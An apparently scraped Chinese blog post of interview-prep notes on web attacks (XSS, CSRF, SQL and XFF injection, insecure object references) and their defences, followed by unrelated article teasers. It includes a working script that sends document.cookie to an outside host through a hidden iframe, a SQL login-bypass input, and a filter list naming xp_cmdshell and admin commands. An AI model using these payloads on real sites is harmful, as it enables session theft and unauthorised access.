摘要:前言一直以來自己對安全方面的知識了解的比較少,最近有點閑工夫了解了一下。攻擊的一般是由服務端解決。攻擊條件登錄受信任網(wǎng)站,并在本地生成。驗證對所有引用對象的授權(quán)。
前言一直以來自己對WEB安全方面的知識了解的比較少,最近有點閑工夫了解了一下。也是為了以后面試吧,之前就遇到過問WEB安全方面的問題,答的不是很理想,所以整理了一下!
一、XSS攻擊跨站腳本攻擊(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意的Script代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執(zhí)行,從而達到惡意攻擊用戶的目的。
特點:盡一切辦法在目標網(wǎng)站上執(zhí)行非目標網(wǎng)站上原有的腳本。
使用js或css破壞頁面正常的結(jié)構(gòu)與樣式
通過document.cookie盜取cookie,實現(xiàn)無密碼訪問
流量劫持(通過訪問某段具有window.location.href定位到其他頁面)
Dos攻擊:利用合理的客戶端請求來占用過多的服務器資源,從而使合法用戶無法得到服務器響應。
利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊)用戶的身份執(zhí)行一些管理動作,或執(zhí)行一些一般的如發(fā)微博、加好友、發(fā)私信等操作。
利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當?shù)耐镀被顒印?/p>
1. Reflected XSS(基于反射的XSS攻擊)
非持久型,反射型 XSS 漏洞常見于通過 URL 傳遞參數(shù)的功能,如網(wǎng)站搜索、跳轉(zhuǎn)等。由于需要用戶主動打開惡意的 URL 才能生效,攻擊者往往會結(jié)合多種手段誘導用戶點擊。POST 的內(nèi)容也可以觸發(fā)反射型 XSS,只不過其觸發(fā)條件比較苛刻(需要構(gòu)造表單提交頁面,并引導用戶點擊),所以非常少見。
反射型 XSS 的攻擊步驟:
攻擊者構(gòu)造出特殊的 URL,其中包含惡意代碼。
用戶打開帶有惡意代碼的 URL 時,網(wǎng)站服務端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器。
用戶瀏覽器接收到響應后解析執(zhí)行,混在其中的惡意代碼也被執(zhí)行。
惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站,或者冒充用戶的行為,調(diào)用目標網(wǎng)站接口執(zhí)行攻擊者指定的操作。
2. Stored XSS(基于存儲的XSS攻擊)
持久型,這種攻擊常見于帶有用戶保存數(shù)據(jù)的網(wǎng)站功能,如論壇發(fā)帖、商品評論、用戶私信等。
存儲型 XSS 的攻擊步驟:
攻擊者將惡意代碼提交到目標網(wǎng)站的數(shù)據(jù)庫中。
用戶打開目標網(wǎng)站時,網(wǎng)站服務端將惡意代碼從數(shù)據(jù)庫取出,拼接在 HTML 中返回給瀏覽器。
用戶瀏覽器接收到響應后解析執(zhí)行,混在其中的惡意代碼也被執(zhí)行。
惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站,或者冒充用戶的行為,調(diào)用目標網(wǎng)站接口執(zhí)行攻擊者指定的操作。
3. DOM-based or local XSS(基于DOM或本地的XSS攻擊)
般是提供一個免費的wifi,但是提供免費wifi的網(wǎng)關(guān)會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在于頁面,無須經(jīng)過服務器返回就是基于本地的XSS攻擊。
DOM 型 XSS 的攻擊步驟:
攻擊者構(gòu)造出特殊的 URL,其中包含惡意代碼。
用戶打開帶有惡意代碼的 URL。
用戶瀏覽器接收到響應后解析執(zhí)行,前端 JavaScript 取出 URL 中的惡意代碼并執(zhí)行。
惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站,或者冒充用戶的行為,調(diào)用目標網(wǎng)站接口執(zhí)行攻擊者指定的操作。
使用xss彈出惡意警告框,代碼為:
<script>alert("xss")script>
xss輸入也可能是html代碼段,如果使網(wǎng)頁不停的刷新,代碼為:
<meta http-equiv="refresh" content="0;">
嵌入其他網(wǎng)站鏈接的代碼為:
<iframe src="http://www.jsay.org" width=0 height=0>iframe>
JavaScript 寫一個請求跨站的腳本就是XSS了,如下:
<script type="text/javascript">
(function(window, document) {
// 構(gòu)造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://www.jsay.org/xss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用于通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
script>
思路:對輸入(和URL參數(shù))進行過濾,對輸出進行編碼。也就是對提交的所有內(nèi)容進行過濾,對url中的參數(shù)進行過濾,過濾掉會導致腳本執(zhí)行的相關(guān)內(nèi)容;然后對動態(tài)輸出到頁面的內(nèi)容進行html編碼,使腳本無法在瀏覽器中執(zhí)行。雖然對輸入過濾可以被繞過,但是也還是會攔截很大一部分的XSS攻擊。
對輸入、URL參數(shù)等(如:<>、/ 、&、"、" )進行轉(zhuǎn)義、過濾,僅接受指定長度范圍內(nèi)并符合我們期望格式的的內(nèi)容提交,阻止或者忽略除此外的其他任何數(shù)據(jù);
輸出數(shù)據(jù)之前對潛在的威脅的字符進行編碼、轉(zhuǎn)義;
XSS 一般利用js腳步讀取用戶瀏覽器中的Cookie,而如果在服務器端對 Cookie 設(shè)置了HttpOnly 屬性,那么js腳本就不能讀取到cookie,但是瀏覽器還是能夠正常使用cookie。
設(shè)置黑、白名單;
Content Security Policy 的實質(zhì)就是白名單制度,開發(fā)者明確告訴客戶端,哪些外部資源可以加載和執(zhí)行,等同于提供白名單。它的實現(xiàn)和執(zhí)行全部由瀏覽器完成,開發(fā)者只需提供配置。
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網(wǎng)站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內(nèi)的信任用戶,而CSRF則通過偽裝成受信任用戶的請求來利用受信任的網(wǎng)站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。
本質(zhì)原因:CSRF攻擊是源于Web的隱式身份驗證機制。Web的身份驗證機制雖然可以保證一個請求是來自于某個用戶的瀏覽器,但卻無法保證該請求是用戶批準發(fā)送的。CSRF攻擊的一般是由服務端解決。
CSRF攻擊條件:
登錄受信任網(wǎng)站A,并在本地生成Cookie。
在不登出A的情況下,訪問危險網(wǎng)站B。
雖然有些時候你訪問B網(wǎng)站的時候,并沒有訪問A網(wǎng)站,但是你并不能保證之前登錄過A網(wǎng)站的本地Cookie已過期,這個時候B網(wǎng)站一樣是可以發(fā)起攻擊。 CSRF攻擊是源于WEB的隱式身份驗證機制!WEB的身份驗證機制雖然可以保證一個請求是來自于某個用戶的瀏覽器,但卻無法保證該請求是用戶批準發(fā)送的!
Cookie Hashing(所有表單都包含同一個偽隨機值);
驗證碼;
One-Time Tokens(不同的表單包含一個不同的偽隨機值);
不讓第三方網(wǎng)站訪問到用戶 Cookie,阻止第三方網(wǎng)站請求接口。
通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執(zhí)行惡意的SQL命令。它是利用現(xiàn)有應用程序,將(惡意的)SQL命令注入到后臺數(shù)據(jù)庫引擎執(zhí)行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網(wǎng)站上的數(shù)據(jù)庫,而不是按照設(shè)計者意圖去執(zhí)行SQL語句。
SQL注入攻擊指的是通過構(gòu)建特殊的輸入作為參數(shù)傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執(zhí)行SQL語句進而執(zhí)行攻擊者所要的操作,其主要原因是程序沒有細致地過濾用戶輸入的數(shù)據(jù),致使非法數(shù)據(jù)侵入系統(tǒng)。
簡單舉例:
// 前端給后端post鍵值對,登錄的用戶名和密碼
let data = {
username: "admin",
pwd: "abc123456"
}
// 后端的sql語句
SELECT * FROM user WHERE username="${username}" AND psw="${pwd}"
這個時候前端的 username 別人輸入 admin" -- ;這個時候查詢的 SQL 語句就變成這樣子了:
SELECT * FROM user WHERE username="admin" -- AND psw="${pwd}"
Ps: -- 在SQL語句里面是注釋,也就是說登錄的查詢條件變成了不需要驗證密碼!
永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和 雙"-"進行轉(zhuǎn)換等。
永遠不要使用動態(tài)拼裝sql,可以使用參數(shù)化的sql或者直接使用存儲過程進行數(shù)據(jù)查詢存取。
永遠不要使用管理員權(quán)限的數(shù)據(jù)庫連接,為每個應用使用多帶帶的權(quán)限有限的數(shù)據(jù)庫連接。
不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝
sql注入的檢測方法一般采取輔助軟件或網(wǎng)站平臺來檢測,軟件一般采用sql注入檢測工具jsky,網(wǎng)站平臺就有億思網(wǎng)站安全平臺檢測工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻擊等。
X-Forwarded-for的縮寫,XFF注入是SQL注入的一種,該注入原理是通過修改X-Forwarded-for頭對帶入系統(tǒng)的dns進行sql注入,從而得到網(wǎng)站的數(shù)據(jù)庫內(nèi)容。
過濾http頭中的X-Forwarded-for header中的內(nèi)容,不允許其插入敏感字符,過濾字符參考sql注入修復方案。
過濾以下敏感字符。需要過濾的特殊字符及字符串有:
net user
xp_cmdshell
add
exec master.dbo.xp_cmdshell
net localgroup administrators
select
count
Asc
char
mid
"
:
"
insert
delete from
drop table
update
truncate
from
%
當開發(fā)人員公開對內(nèi)部實現(xiàn)對象的引用(例如URL或FORM參數(shù)中的文件,目錄或數(shù)據(jù)庫鍵)時,就會發(fā)生這種情況。攻擊者可以使用此信息訪問其他對象,并可以創(chuàng)建將來的攻擊來訪問未經(jīng)授權(quán)的數(shù)據(jù)。
簡單舉例: 更改以下URL中的 userid 可以使攻擊者查看其他用戶的信息。 http://www.jsay.org/userid=123 修改為 http://www.jsay.org/userid=124 攻擊者可以通過更改用戶標識值來查看其他信息?;蛘呶募试S下載訪問 http://www.jsay.org/a.txt ,但是通過 http://www.jsay.org/b.txt 可以看到不允許訪問的文件!
實施訪問控制檢查。
避免在URL中公開對象引用。
驗證對所有引用對象的授權(quán)。
處理用戶(客戶端)和服務器(應用程序)之間的信息交換。應用程序經(jīng)常通過網(wǎng)絡傳輸敏感信息,如身份驗證詳細信息,信用卡信息和會話令牌。通過使用弱算法或使用過期或無效的證書或不使用SSL,可以允許將通信暴露給不受信任的用戶,這可能會危及Web應用程序和/或竊取敏感信息。
啟用安全HTTP并僅通過HTTPS強制執(zhí)行憑據(jù)傳輸。
確保您的證書有效且未過期。
我自己運營的公眾號,記錄我自己的成長
公眾號:前端曰
公眾號ID:js-say
ps:是(yue)不是(ri)
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://systransis.cn/yun/7365.html
摘要:前言一直以來自己對安全方面的知識了解的比較少,最近有點閑工夫了解了一下。攻擊的一般是由服務端解決。攻擊條件登錄受信任網(wǎng)站,并在本地生成。驗證對所有引用對象的授權(quán)。 前言 一直以來自己對WEB安全方面的知識了解的比較少,最近有點閑工夫了解了一下。也是為了以后面試吧,之前就遇到過問WEB安全方面的問題,答的不是很理想,所以整理了一下! 一、XSS攻擊 跨站腳本攻擊(Cross Site ...
摘要:聯(lián)想企業(yè)網(wǎng)盤版本可實現(xiàn)指定類型文件一鍵智能自動同步到用戶的網(wǎng)盤個人空間,保護用戶個人數(shù)據(jù)。在技術(shù)和產(chǎn)品上,聯(lián)想企業(yè)網(wǎng)盤始終堅持創(chuàng)新驅(qū)動發(fā)展。在中國企業(yè)網(wǎng)盤市場上,玩家類型眾多,包括IT廠商、SaaS類創(chuàng)業(yè)企業(yè)、互聯(lián)網(wǎng)廠商、企業(yè)軟件廠商和運營商,競爭激烈。既有BAT這樣的大咖,也有層出不窮的創(chuàng)業(yè)公司,而聯(lián)想企業(yè)網(wǎng)盤始終保持著穩(wěn)健、快速的成長,至今連續(xù)5年占據(jù)40%的市場份額,一騎絕塵。6月19...
摘要:夏華夏先生以美團發(fā)展的五個階段為演講主線,分別介紹每個階段中所遇到的問題及解決方案。在夏華夏先生的分享之后,第五屆開幕式圓滿結(jié)束,他山之石可以攻玉是的宗旨,我們希望通過優(yōu)秀案例的分享傳播更多的經(jīng)驗。 showImg(https://segmentfault.com/img/bVHgPK?w=629&h=418);(第五屆TOP100summit開幕式現(xiàn)場) 12月09日-12日,由ms...
摘要:夏華夏先生以美團發(fā)展的五個階段為演講主線,分別介紹每個階段中所遇到的問題及解決方案。在夏華夏先生的分享之后,第五屆開幕式圓滿結(jié)束,他山之石可以攻玉是的宗旨,我們希望通過優(yōu)秀案例的分享傳播更多的經(jīng)驗。 showImg(https://segmentfault.com/img/bVHgPK?w=629&h=418);(第五屆TOP100summit開幕式現(xiàn)場) 12月09日-12日,由ms...
六月精陽,人們的火氣難免旺了些,連全球知名品牌也失去了風度,不再溫良恭儉讓,把過去私下里的暗戰(zhàn)擺在臺面上互懟。6月23日,全球零售霸主美國沃爾瑪私下要求合作廠商,包括技術(shù)供應商、電商和批發(fā)商,停止使用亞馬遜云計算服務(Amazon Web System,AWS);而亞馬遜發(fā)言人則在6月27日公開譴責稱,沃爾瑪是在用自己采購的權(quán)限控制供應商,這完全是霸凌(Bully)行為。無獨有偶,上月初,中國也有...
閱讀 3143·2021-11-11 16:54
閱讀 2320·2021-09-04 16:48
閱讀 3227·2019-08-29 16:08
閱讀 649·2019-08-29 15:13
閱讀 1353·2019-08-29 15:09
閱讀 2670·2019-08-29 12:45
閱讀 1936·2019-08-29 12:12
閱讀 459·2019-08-26 18:27